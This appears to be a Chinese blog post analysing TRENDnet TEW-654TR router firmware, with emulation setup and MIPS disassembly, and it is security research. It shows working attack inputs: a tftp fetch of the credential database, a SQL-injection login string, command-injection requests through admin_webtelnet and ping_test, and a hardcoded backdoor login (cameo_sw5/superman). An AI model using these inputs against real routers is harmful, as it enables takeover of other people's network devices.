0×00 前言
拜读完devttys0前辈的”exploiting embedded systems”系列.分析了下相关固件
路由器型号: TEW-654TR
固件下载地址: http://download.trendnet.com/TEW-654TR/firmware/
0×01 环境设置
#!/bin/bash INPUT="$1" LEN=$(echo -n "$INPUT" | wc -c) PORT="1234" if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ] then echo -e "/nUsage: sudo $0 /n" exit 1 fi cp $(which qemu-mipsel-static) ./qemu echo "$INPUT" | chroot . ./qemu -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REMOTE_ADDR="1.1.1.100" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null rm -f ./qemu
这里因为是小端机mips架构,所以复制了qemu-mipsel-static,mips架构跟intel架构在漏洞挖掘思路上并没有什么不同,只是利用有区别,例如溢出时要判断是否是叶子函数等等.
因为cgi脚本里有getenv的动作,所以用-E设置env,-g指定了gdb远程调试的端口. /usr/bin/my_cgi.cgi是在读配置文件的时候取得的,当然 这个也能从真实提交请求的时候看到.
0×02 漏洞分析一:读取路由器admin账号密码
真实的登录请求包:
request=login&user_name=admin&user_pwd=password
在静态分析的时候,可以直接查询相关关键字,定位到登录函数的位置.
这里搜索request,定位到主函数内
首先保存现场到栈上,然后call getenv(“REQUEST_METHOD”),获取不到的话,跳到loc_40914c处从栈上恢复s0-s7、fp、ra的值,然后跳转到ra重新调用getenv.
返回true的话再进行判断是get亦或post方法
获取length、type、remote_addr等值之后,向下跟踪发现有打开数据库的动作.
.text:00409460 blez $s1, loc_409938 .text:00409464 lui $s0, 2 .text:00409468 la $t9, open_db .text:0040946C ori $a0, $s0, 0xE5F0 .text:00409470 jalr $t9 ; open_db .text:00409474 addu $a0, $s3, $a0 .text:00409478 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:0040947C nop
我们搜一下存在的db文件:
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# find ./ -name *.db ./mnt/wizard_rt.db ./mnt/user.db ./mnt/ap.db ./mnt/rt.db ./mnt/default_rt.db ./mnt/default_apc.db ./mnt/wizard_ap.db ./mnt/default_ap.db ./mnt/apc.db ./mnt/iface.db
来看一下内容:
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# file ./mnt/user.db ./mnt/user.db: SQLite 3.x database root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/user.db SQLite version 3.11.0 2016-02-15 17:29:24 Enter ".help" for usage hints. sqlite> .tables login_info sqlite> .schema login_info CREATE TABLE "login_info" ("login_ip" VARCHAR NOT NULL , "login_time" INTEGER NOT NULL , "login_level" CHAR NOT NULL ); sqlite> select * from login_info; sqlite> select * from login_info; sqlite> open ...> ; Error: near "open": syntax error sqlite> ^Z [1]+ Stopped sqlite3 ./mnt/user.db root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/rt.db SQLite version 3.11.0 2016-02-15 17:29:24 Enter ".help" for usage hints. sqlite> .tables advanced_network smtp_settings wan_settings daylight_saving special_application wan_static db_version static_routing website_filter dhcp_server syslog website_filter_mode dmz time wireless_advanced dynamic_dns user wireless_basic dynamic_routing virtual_server wireless_filter ip_filter wan_dhcp wireless_filter_mode lan_settings wan_l2tp wireless_security log_setting wan_pppoe wireless_wps message wan_pptp wizard_setting nat_filter wan_russia_l2tp wpa_settings remote_management wan_russia_pppoe restore_default wan_russia_pptp sqlite> .schema user CREATE TABLE "user" ("user_name" VARCHAR DEFAULT '', "user_pwd" VARCHAR DEFAULT '', "level" CHAR DEFAULT ''); sqlite> select * from user; admin|admin|1 user|user|0
那么如何才能获得查询这个表呢?
当然可以注入,不过还有更优雅的方式.
黑盒测试时,扫描AP的所有端口,能发现开了69,探测指纹得知是tftp.
白盒读启动配置文件,能直接看到.
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root/etc/rc.d# cat rcS #!/bin/ash # This script runs when init it run during the boot process. # Mounts everything in the fstab mount -a mount -o remount +w / # Mount the RAM filesystem to /tmp mount -t tmpfs tmpfs /tmp # copy all files in the mnt folder to the etc folder cp -a /mnt/* /etc mkdir -p /var/etc mkdir -p /var/firm mkdir -p /var/log mkdir -p /var/misc mkdir -p /var/run mkdir -p /var/sbin mkdir -p /var/tmp mkdir -p /tmp/var cp -f /etc/udhcpd.conf /var/etc/ cp -f /etc/udhcpd.leases /var/misc/ #Add link for resolv.conf #ln -sf /var/etc/resolv.conf /etc/resolv.conf # Load configure file from Flash /bin/echo "Init System..." system_manager & # Start tftpd /bin/echo "Start Tftpd..." tftpd & #insert cc_dev module for reset packet counter insmod /lib/modules/cc_dev.ko
那么:
root@ubuntu:~# tftp 192.168.114.131 tftp> get /mnt/rt.db Received 54272 bytes in 0.0 seconds tftp> ^C tftp> ll ?Invalid command tftp> ^Z [2]+ Stopped tftp 192.168.114.131 root@ubuntu:~# root@ubuntu:~# ll | grep rt.db -rw-r--r-- 1 root root 54220 Oct 20 00:14 rt.db
0×03 漏洞分析二:sql injection
接着看那段open_db的代码:
.text:00409460 blez $s1, loc_409938 .text:00409464 lui $s0, 2 .text:00409468 la $t9, open_db .text:0040946C ori $a0, $s0, 0xE5F0 .text:00409470 jalr $t9 ; open_db .text:00409474 addu $a0, $s3, $a0 .text:00409478 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:0040947C nop .text:00409480 la $v1, my_db .text:00409484 beqz $v0, loc_40914C 返回失败句柄的时候,跟上面一样.恢复现场 .text:0040914C loc_40914C: # CODE XREF: main+94j .text:0040914C # main+3F4j ... .text:0040914C lui $t0, 2 .text:00409150 .text:00409150 loc_409150: # CODE XREF: main+240j .text:00409150 # main+324j ... .text:00409150 ori $t0, 0x6710 .text:00409460 blez $s1, loc_409938 .text:00409464 lui $s0, 2 .text:00409468 la $t9, open_db .text:0040946C ori $a0, $s0, 0xE5F0 .text:00409470 jalr $t9 ; open_db .text:00409474 addu $a0, $s3, $a0 .text:00409478 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:0040947C nop .text:00409480 la $v1, my_db .text:00409484 beqz $v0, loc_40914C # open fail, restore s0-s7,fp,ra
返回成功句柄会调用check_remote_ip函数,这函数就是字面意思,没什么特殊的检测动作:
.text:004094BC move $a0, $s5 .text:004094C0 la $t9, check_remote_ip .text:004094C4 nop .text:004094C8 jalr $t9 ; check_remote_ip .text:004094CC move $s2, $v0 .text:004094D0 li $a0, 0x2E6BC # it's likely exist vuln. .text:004094D0 # because verify(remote ip) entry login .text:004094D8 addu $a0, $sp .text:004094DC lw $gp, 0x2E6F0+var_2E6E0($sp) .text:004094E0 blez $s2, loc_409824
返回值<=0的话就关闭open_db的句柄:
.text:00409824 loc_409824: # CODE XREF: main+450j .text:00409824 # main+9D4j ... .text:00409824 la $v1, my_db .text:00409828 la $t9, close_db .text:0040982C lw $a0, (my_db - 0x45A6D4)($v1) .text:00409830 jalr $t9 ; close_db .text:00409834 nop .text:00409838 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:0040983C bnez $s7, loc_409A20 .text:00409840 nop
之后还有write_db_flash的动作,remote_ip在认证流程中看起来很重要.感觉就像用的ip认证.而非cookie.
这里我没有真实的路由器,验证起来有点麻烦,有这款路由器的读者可以测试一下.
check_remote_ip之后,比较接受到的参数值,这里比较的是登录后的动作,验证不通过则跳到loc_40964C进行登录:
.text:004094E4 sw $v0, 0($a0) .text:004094E8 la $s1, loc_410000 .text:004094EC la $t9, strcmp .text:004094F0 addiu $s0, $sp, 0x2E6F0+var_2E6B8 .text:004094F4 move $a0, $s0 .text:004094F8 jalr $t9 ; strcmp .text:004094FC addiu $a1, $s1, (aLogin - 0x410000) # "login" .text:00409500 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409504 beqz $v0, loc_40964C .text:00409508 nop .text:0040950C la $a1, loc_410000 .text:00409510 la $t9, strcmp .text:00409514 addiu $a1, (aShow_message - 0x410000) # "show_message" .text:00409518 jalr $t9 ; strcmp .text:0040951C move $a0, $s0 .text:00409520 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409524 beqz $v0, loc_40964C .text:00409528 nop .text:0040952C la $a1, loc_410000 .text:00409530 la $t9, strcmp .text:00409534 addiu $a1, (aReboot - 0x410000) # "reboot" .text:00409538 jalr $t9 ; strcmp .text:0040953C move $a0, $s0 .text:00409540 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409544 beqz $v0, loc_40964C .text:00409548 nop .text:0040954C la $a1, loc_410000 .text:00409550 la $t9, strcmp .text:00409554 addiu $a1, (aLogout - 0x410000) # "logout" .text:00409558 jalr $t9 ; strcmp .text:0040955C move $a0, $s0 .text:00409560 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409564 beqz $v0, loc_40964C .text:00409568 nop .text:0040956C la $a1, loc_410000 .text:00409570 la $t9, strcmp .text:00409574 addiu $a1, (aFw_ver - 0x410000) # "fw_ver" .text:00409578 jalr $t9 ; strcmp .text:0040957C move $a0, $s0 .text:00409580 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409584 beqz $v0, loc_40964C .text:00409588 nop .text:0040958C la $a1, loc_410000 .text:00409590 la $t9, strcmp .text:00409594 addiu $a1, (aHw_ver - 0x410000) # "hw_ver" .text:00409598 jalr $t9 ; strcmp .text:0040959C move $a0, $s0 .text:004095A0 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:004095A4 beqz $v0, loc_40964C .text:004095A8 nop .text:004095AC la $a1, loc_410000 .text:004095B0 la $t9, strcmp .text:004095B4 addiu $a1, (aCheck_station_ - 0x410000) # "check_station_status" .text:004095B8 jalr $t9 ; strcmp .text:004095BC move $a0, $s0 .text:004095C0 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:004095C4 beqz $v0, loc_40964C .text:004095C8 nop .text:004095CC la $a1, loc_410000 .text:004095D0 la $t9, strcmp .text:004095D4 addiu $a1, (aGet_router_ip - 0x410000) # "get_router_ip" .text:004095D8 jalr $t9 ; strcmp .text:004095DC move $a0, $s0 .text:004095E0 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:004095E4 beqz $v0, loc_40964C .text:004095E8 nop .text:004095EC la $a1, loc_410000 .text:004095F0 la $t9, strcmp .text:004095F4 addiu $a1, (aGet_device_nam - 0x410000) # "get_device_name" .text:004095F8 jalr $t9 ; strcmp .text:004095FC move $a0, $s0 .text:00409600 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409604 beqz $v0, loc_40964C .text:00409608 nop .text:0040960C la $a1, loc_410000 .text:00409610 la $t9, strcmp .text:00409614 addiu $a1, (aNoAuth - 0x410000) # "no-auth" .text:00409618 jalr $t9 ; strcmp .text:0040961C move $a0, $s0 .text:00409620 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409624 beqz $v0, loc_40964C .text:00409628 move $a0, $s0 .text:0040962C la $a1, loc_410000 .text:00409630 la $t9, strcmp .text:00409634 nop .text:00409638 jalr $t9 ; strcmp .text:0040963C addiu $a1, (aLanguage - 0x410000) # "language" .text:00409640 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409644 bnez $v0, loc_40A0B0 .text:00409648 nop .text:0040964C .text:0040964C loc_40964C: # CODE XREF: main+474j .text:0040964C # main+494j ... .text:0040964C la $a1, loc_410000 .text:00409650 la $t9, strcmp .text:00409654 addiu $a1, (aLoad_setting - 0x410000) # "load_setting" .text:00409658 jalr $t9 ; strcmp .text:0040965C move $a0, $s3 .text:00409660 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409664 beqz $v0, loc_409A3C .text:00409668 addiu $a1, $s1, (aLogin - 0x410000) # "login" .text:0040966C la $t9, strcmp .text:00409670 addiu $s0, $s3, 0x20 .text:00409674 jalr $t9 ; strcmp .text:00409678 move $a0, $s0 .text:0040967C lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409680 beqz $v0, loc_409A6C
在loc_40964c处下断点.
s0指向”login”,作为参数传给strcmp,之后进入loc_409A6C,指向do_login函数,执行sql查询.
.text:00409A6C loc_409A6C: # CODE XREF: main+5F0j .text:00409A6C la $t9, do_login .text:00409A70 lw $a3, 0x2E6F0+var_2E6F0($fp) .text:00409A74 move $a1, $s2 .text:00409A78 jalr $t9 ; do_login .text:00409A7C move $a2, $s5 .text:00409A80 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409A84 b loc_409824 .text:00409A88 nop
将用户名和密码复制到栈上,比较长度,重置一片空间,选择数据库,exec_sql,可以看到没有任何过滤动作,存在注入.
此时我们user=admin pass=password,登录失败进行重定向.恢复栈帧.
.text:0040B82C loc_40B82C: # CODE XREF: do_login+138j .text:0040B82C la $v0, loc_410000 .text:0040B830 nop .text:0040B834 addiu $s0, $v0, (aLogin - 0x410000) # "login" .text:0040B838 .text:0040B838 loc_40B838: # CODE XREF: do_login+35Cj .text:0040B838 # do_login+384j .text:0040B838 la $t9, unk_40A06B88 .text:0040B83C nop .text:0040B840 jalr $t9 ; free .text:0040B844 move $a0, $s2 .text:0040B848 lw $gp, 0x78+var_68($sp) .text:0040B84C nop .text:0040B850 la $t9, set_redirect_page .text:0040B854 nop .text:0040B858 jalr $t9 ; set_redirect_page .text:0040B85C move $a0, $s0 .text:0040B860 lw $gp, 0x78+var_68($sp) .text:0040B864 lw $ra, 0x78+var_8($sp) .text:0040B868 lw $s5, 0x78+var_C($sp) .text:0040B86C lw $s4, 0x78+var_10($sp) .text:0040B870 lw $s3, 0x78+var_14($sp) .text:0040B874 lw $s2, 0x78+var_18($sp) .text:0040B878 lw $s1, 0x78+var_1C($sp) .text:0040B87C lw $s0, 0x78+var_20($sp) .text:0040B880 jr $ra .text:0040B884 addiu $sp, 0x78
那么构造:
request=login&user_name=admin&user_pwd=’%20or%20’1’%3D’1″
0×04 漏洞分析三: 任意命令执行
继续向下看,beqz $v0, loc_409A6C beqz显然,执行完登录认证的动作后并不会跳回来.
下方还有好几处字符串比较动作,admin_webtelnet尤其引人注意,我们来看一下send_telnet_cmd函数.
.text:0040964C loc_40964C: # CODE XREF: main+474j .text:0040964C # main+494j ... .text:0040964C la $a1, loc_410000 .text:00409650 la $t9, strcmp .text:00409654 addiu $a1, (aLoad_setting - 0x410000) # "load_setting" .text:00409658 jalr $t9 ; strcmp .text:0040965C move $a0, $s3 .text:00409660 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409664 beqz $v0, loc_409A3C .text:00409668 addiu $a1, $s1, (aLogin - 0x410000) # "login" .text:0040966C la $t9, strcmp .text:00409670 addiu $s0, $s3, 0x20 .text:00409674 jalr $t9 ; strcmp .text:00409678 move $a0, $s0 .text:0040967C lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409680 beqz $v0, loc_409A6C .text:00409684 move $a0, $s3 .text:00409688 la $a1, loc_410000 .text:0040968C la $t9, strcmp .text:00409690 addiu $a1, (aAdmin_login - 0x410000) # "admin_login" .text:00409694 jalr $t9 ; strcmp .text:00409698 move $a0, $s0 .text:0040969C lw $gp, 0x2E6F0+var_2E6E0($sp) .text:004096A0 nop .text:004096A4 la $t9, admin_login .text:004096A8 beqz $v0, loc_409AB0 .text:004096AC move $a0, $s3 .text:004096B0 la $a1, loc_410000 .text:004096B4 la $t9, strcmp .text:004096B8 addiu $a1, (aAdmin_webtelne - 0x410000) # "admin_webtelnet" .text:004096BC jalr $t9 ; strcmp .text:004096C0 move $a0, $s0 .text:004096C4 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:004096C8 nop .text:004096CC la $t9, send_telnet_cmd .text:004096D0 beqz $v0, loc_409ACC .text:004096D4 nop ====================================================================== loc_409ACC: .text:00409ACC jalr $t9 .text:00409AD0 move $a0, $s3 .text:00409AD4 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:00409AD8 b loc_409824 .text:00409ADC nop ====================================================================== .text:00415308 .globl send_telnet_cmd .text:00415308 send_telnet_cmd: # DATA XREF: main+63Co .text:00415308 # .got:send_telnet_cmd_ptro .text:00415308 .text:00415308 var_18 = -0x18 .text:00415308 var_10 = -0x10 .text:00415308 var_C = -0xC .text:00415308 var_8 = -8 .text:00415308 .text:00415308 li $gp, 0x4CF78 .text:00415310 addu $gp, $t9 .text:00415314 addiu $sp, -0x28 .text:00415318 sw $ra, 0x28+var_8($sp) .text:0041531C sw $s1, 0x28+var_C($sp) .text:00415320 sw $s0, 0x28+var_10($sp) .text:00415324 sw $gp, 0x28+var_18($sp) .text:00415328 la $s0, send_cmd .text:0041532C la $t9, memset .text:00415330 move $s1, $a0 .text:00415334 move $a1, $zero .text:00415338 move $a0, $s0 .text:0041533C jalr $t9 ; memset .text:00415340 li $a2, 0x1F4 .text:00415344 lw $gp, 0x28+var_18($sp) .text:00415348 move $a0, $s0 .text:0041534C li $a1, 0x420000 .text:00415350 la $t9, sprintf .text:00415354 addiu $a2, $s1, 0x299 .text:00415358 jalr $t9 ; sprintf .text:0041535C addiu $a1, (aSTmpTmp_send_r - 0x420000) # "%s > /tmp/tmp_send_result" .text:00415360 lw $gp, 0x28+var_18($sp) .text:00415364 nop .text:00415368 la $t9, system .text:0041536C nop .text:00415370 jalr $t9 ; system .text:00415374 move $a0, $s0 .text:00415378 lw $gp, 0x28+var_18($sp) .text:0041537C lw $ra, 0x28+var_8($sp) .text:00415380 la $a0, loc_410000 .text:00415384 la $t9, set_redirect_page .text:00415388 lw $s1, 0x28+var_C($sp) .text:0041538C lw $s0, 0x28+var_10($sp) .text:00415390 addiu $a0, (aAdmin_webtelne - 0x410000) # "admin_webtelnet" .text:00415394 jr $t9 ; set_redirect_page .text:00415398 addiu $sp, 0x28 .text:00415398 # End of function send_telnet_cmd
sprintf拼接字符串交由system执行
但是在当前request=admin_webtelnet的情况下,并不会进入到loc_40964C. 来看一下交叉引用:
.text:0040A0B0 loc_40A0B0: # CODE XREF: main+5B4j .text:0040A0B0 la $t9, update_login_time .text:0040A0B4 nop .text:0040A0B8 jalr $t9 ; update_login_time .text:0040A0BC move $a0, $s5 .text:0040A0C0 lw $gp, 0x2E6F0+var_2E6E0($sp) .text:0040A0C4 bnez $v0, loc_40964C .text:0040A0C8 nop
更新登录时间,返回true会跳到loc_40964C,明显这是认证成功后的动作,在真实的场景中,我们可以用sql注入或者tftp直接获取admin账号密码
在qemu中动态调试的话,我直接将v0寄存器置为1,进入到loc_40964C.
那么payload:
“request=admin_webtelnet&user=whoami”
0×05 漏洞挖掘一: privilege escalation
看send_telnet_cmd函数的时候向上翻看到有个admin_login函数,根据/var/check是否存在检查admin是否登录.
admin_login function:
.text:00415220 .text:00415220 li $gp, 0x4D060 .text:00415228 addu $gp, $t9 .text:0041522C addiu $sp, -0x20 .text:00415230 sw $ra, 0x20+var_4($sp) .text:00415234 sw $s0, 0x20+var_8($sp) .text:00415238 sw $gp, 0x20+var_10($sp) .text:0041523C li $a1, 0x420000 .text:00415240 la $t9, unk_40A07DA0 .text:00415244 move $s0, $a0 .text:00415248 addiu $a1, (aCameo_sw5 - 0x420000) # "cameo_sw5" .text:0041524C jalr $t9 ; strcmp .text:00415250 addiu $a0, 0x299 .text:00415254 lw $gp, 0x20+var_10($sp) .text:00415258 addiu $a0, $s0, 0x512 .text:0041525C li $a1, 0x420000 .text:00415260 la $t9, unk_40A07DA0 .text:00415264 bnez $v0, loc_41528C .text:00415268 addiu $a1, (aSuperman - 0x420000) # "superman" .text:0041526C jalr $t9 ; strcmp .text:00415270 nop .text:00415274 lw $gp, 0x20+var_10($sp) .text:00415278 nop .text:0041527C li $a0, 0x420000 .text:00415280 la $t9, _system .text:00415284 beqz $v0, loc_4152D4 .text:00415288 addiu $a0, (aEcho1VarCheck - 0x420000) # "echo 1 >/var/check" .text:004152D4 # --------------------------------------------------------------------------- .text:004152D4 .text:004152D4 loc_4152D4: # CODE XREF: admin_login+64j .text:004152D4 jalr $t9 ; system .text:004152D8 nop .text:004152DC lw $gp, 0x20+var_10($sp) .text:004152E0 lw $ra, 0x20+var_4($sp) .text:004152E4 la $v0, loc_410000 .text:004152E8 la $a0, redirect_page .text:004152EC addiu $v0, (aAdmin_webtelne - 0x410000) # "admin_webtelnet" .text:004152F0 sw $v0, (redirect_page - 0x45A6A8)($a0) .text:004152F4 lw $a0, (redirect_page - 0x45A6A8)($a0) .text:004152F8 la $t9, set_redirect_page .text:004152FC lw $s0, 0x20+var_8($sp) .text:00415300 jr $t9 ; set_redirect_page .text:00415304 addiu $sp, 0x20 .text:00415304 # End of function admin_login
第一个参数无验证,所以普通用户权限登录后:
request=admin_login&user_name=cameo_sw5&user_pwd=superman
admin_logout function:
.text:00415748 .globl admin_do_logout .text:00415748 admin_do_logout: # CODE XREF: main+1C7Cp .text:00415748 # DATA XREF: main:loc_40AD04o ... .text:00415748 li $gp, 0x4CB38 .text:00415750 addu $gp, $t9 .text:00415754 li $a0, 0x420000 .text:00415758 la $t9, _unlink .text:0041575C nop .text:00415760 jr $t9 ; unlink .text:00415764 addiu $a0, (aCatVarCheck+4 - 0x420000) # "/var/check" .text:00415764 # End of function admin_do_logout
0×06 漏洞挖掘二: 任意命令执行
漏洞发生在ping_test函数上,与send_telnet_cmd基本相同.
.text:00415800 .globl ping_test .text:00415800 ping_test: # DATA XREF: main:loc_409AC4o .text:00415800 # .got:ping_test_ptro .text:00415800 .text:00415800 var_170= -0x170 .text:00415800 var_168= -0x168 .text:00415800 var_118= -0x118 .text:00415800 var_18= -0x18 .text:00415800 var_14= -0x14 .text:00415800 var_10= -0x10 .text:00415800 var_C= -0xC .text:00415800 var_8= -8 .text:00415800 var_4= -4 .text:00415800 .text:00415800 li $gp, 0x4CA80 .text:00415808 addu $gp, $t9 .text:0041580C addiu $sp, -0x180 .text:00415810 sw $ra, 0x180+var_4($sp) .text:00415814 sw $s4, 0x180+var_8($sp) .text:00415818 sw $s3, 0x180+var_C($sp) .text:0041581C sw $s2, 0x180+var_10($sp) .text:00415820 sw $s1, 0x180+var_14($sp) .text:00415824 sw $s0, 0x180+var_18($sp) .text:00415828 sw $gp, 0x180+var_170($sp) .text:0041582C la $t9, clear_msg .text:00415830 nop .text:00415834 jalr $t9 ; clear_msg .text:00415838 move $s1, $a0 .text:0041583C lw $gp, 0x180+var_170($sp) .text:00415840 addiu $s0, $sp, 0x180+var_168 .text:00415844 la $t9, unk_40A07AB0 .text:00415848 move $a0, $s0 .text:0041584C move $a1, $zero .text:00415850 jalr $t9 ; memset .text:00415854 li $a2, 0x50 # 'P' .text:00415858 lw $gp, 0x180+var_170($sp) .text:0041585C addiu $s3, $s1, 0x299 .text:00415860 li $s2, 0x420000 .text:00415864 li $a1, 0x420000 .text:00415868 la $t9, unk_409F6050 .text:0041586C addiu $a1, (aPingC1SS - 0x420000) # "ping -c 1 %s > %s" .text:00415870 move $a2, $s3 .text:00415874 addiu $a3, $s2, (aTmpPing_result - 0x420000) # "/tmp/ping_result.log" .text:00415878 jalr $t9 ; sprintf .text:0041587C move $a0, $s0 .text:00415880 lw $gp, 0x180+var_170($sp) .text:00415884 move $a0, $s0 .text:00415888 la $t9, _system .text:0041588C nop .text:00415890 jalr $t9 ; system .text:00415894 move $s1, $zero
reference:
《揭秘家用路由器0day漏洞挖掘技术》
Exploiting Embedded Systems – Part 1
Exploiting Embedded Systems – Part 3
Exploiting Embedded Systems – Part 4
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/55181.html